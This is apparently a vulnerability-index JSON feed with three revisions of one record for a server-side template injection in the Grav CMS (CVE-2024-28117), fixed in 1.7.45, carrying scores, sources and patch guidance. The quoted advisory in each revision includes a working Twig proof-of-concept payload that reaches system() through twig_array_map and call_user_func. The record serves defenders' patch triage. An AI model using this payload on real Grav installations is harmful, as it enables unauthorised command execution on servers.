{"items":[{"id":"NVI-00002099","kind":"vulnerability","title":"Server Side Template Injection (SSTI)","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-qfv4-q44r-g7rv","CVE-2024-28117"],"plain_summary":"OSV carries this publisher advisory for getgrav/grav. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.7.45 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-0b35147bf3a2ec2c9525837ed92a14c5"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-0e16dc7285f0fde73c5b8a8255d3f52c"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-17T07:21:00.103Z","value":"8.8 HIGH (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-d819eafb3e5a14534c764a8829d54a95"},{"kind":"CVSS","as_of":"2026-06-17T07:21:00.103Z","value":"8.8 HIGH (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-d819eafb3e5a14534c764a8829d54a95"},{"kind":"EPSS","as_of":"2026-11-03T12:00:27.000Z","value":"1.394%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.72414. Missing scores are unknown.","source_id":"sr-0e16dc7285f0fde73c5b8a8255d3f52c"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-0b35147bf3a2ec2c9525837ed92a14c5","url":"https://github.com/advisories/GHSA-qfv4-q44r-g7rv","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-qfv4-q44r-g7rv","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:31.002Z"},{"id":"sr-d819eafb3e5a14534c764a8829d54a95","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28117","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2024-28117","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T00:59:14.650Z"},{"id":"sr-0e16dc7285f0fde73c5b8a8255d3f52c","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2024-28117","publisher":"FIRST EPSS","observed_at":"2026-11-03T17:42:56.080Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-0b35147bf3a2ec2c9525837ed92a14c5"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nGrav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.\n\n### Details\n```\n{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}\n```\n!image\n\nWhen we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.\n\n```\n{% set cmd = {'id':'system'} %}\n{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}\n```\nSince there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.\n\n### PoC\n```\n{% set cmd = {'id':'system'} %}\n{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}\n```\n\n### Impact\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.\nAs the Twig processor runs unsandboxed, this behavior can be used to gain ","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.7.45"]}],"null_published_at":"2026-11-07T22:29:23.454Z","source_updated_at":"2026-09-10T03:50:10.692Z","source_disclosed_at":"2024-03-22T16:35:48.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:31.002Z"},{"id":"NVI-00002099","kind":"vulnerability","title":"Server Side Template Injection (SSTI)","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-qfv4-q44r-g7rv","CVE-2024-28117"],"plain_summary":"OSV carries this publisher advisory for getgrav/grav. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.7.45 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-0b35147bf3a2ec2c9525837ed92a14c5"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-0e16dc7285f0fde73c5b8a8255d3f52c"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-11-03T12:00:27.000Z","value":"1.394%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.72414. Missing scores are unknown.","source_id":"sr-0e16dc7285f0fde73c5b8a8255d3f52c"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-0b35147bf3a2ec2c9525837ed92a14c5","url":"https://github.com/advisories/GHSA-qfv4-q44r-g7rv","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-qfv4-q44r-g7rv","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:31.002Z"},{"id":"sr-0e16dc7285f0fde73c5b8a8255d3f52c","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2024-28117","publisher":"FIRST EPSS","observed_at":"2026-11-03T17:42:56.080Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-0b35147bf3a2ec2c9525837ed92a14c5"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nGrav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.\n\n### Details\n```\n{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}\n```\n!image\n\nWhen we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.\n\n```\n{% set cmd = {'id':'system'} %}\n{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}\n```\nSince there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.\n\n### PoC\n```\n{% set cmd = {'id':'system'} %}\n{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}\n```\n\n### Impact\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.\nAs the Twig processor runs unsandboxed, this behavior can be used to gain ","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.7.45"]}],"null_published_at":"2026-11-06T00:29:57.255Z","source_updated_at":"2026-09-10T03:50:10.692Z","source_disclosed_at":"2024-03-22T16:35:48.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:31.002Z"},{"id":"NVI-00002099","kind":"vulnerability","title":"Server Side Template Injection (SSTI)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-qfv4-q44r-g7rv","CVE-2024-28117"],"plain_summary":"OSV carries this publisher advisory for getgrav/grav. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.7.45 for getgrav/grav. Confirm the publisher’s latest guidance.","source_ids":["sr-0b35147bf3a2ec2c9525837ed92a14c5"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-0b35147bf3a2ec2c9525837ed92a14c5","url":"https://github.com/advisories/GHSA-qfv4-q44r-g7rv","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-qfv4-q44r-g7rv","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:31.002Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-0b35147bf3a2ec2c9525837ed92a14c5"],"technology":"getgrav/grav","known_exclusions":[],"conditions_summary":"### Summary\nGrav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.\n\n### Details\n```\n{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}\n```\n!image\n\nWhen we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.\n\n```\n{% set cmd = {'id':'system'} %}\n{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}\n```\nSince there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.\n\n### PoC\n```\n{% set cmd = {'id':'system'} %}\n{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}\n```\n\n### Impact\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.\nAs the Twig processor runs unsandboxed, this behavior can be used to gain ","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.7.45"]}],"null_published_at":"2026-10-31T21:53:28.064Z","source_updated_at":"2026-09-10T03:50:10.692Z","source_disclosed_at":"2024-03-22T16:35:48.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:31.002Z"}],"next_cursor":null,"snapshot_revision":"42594"}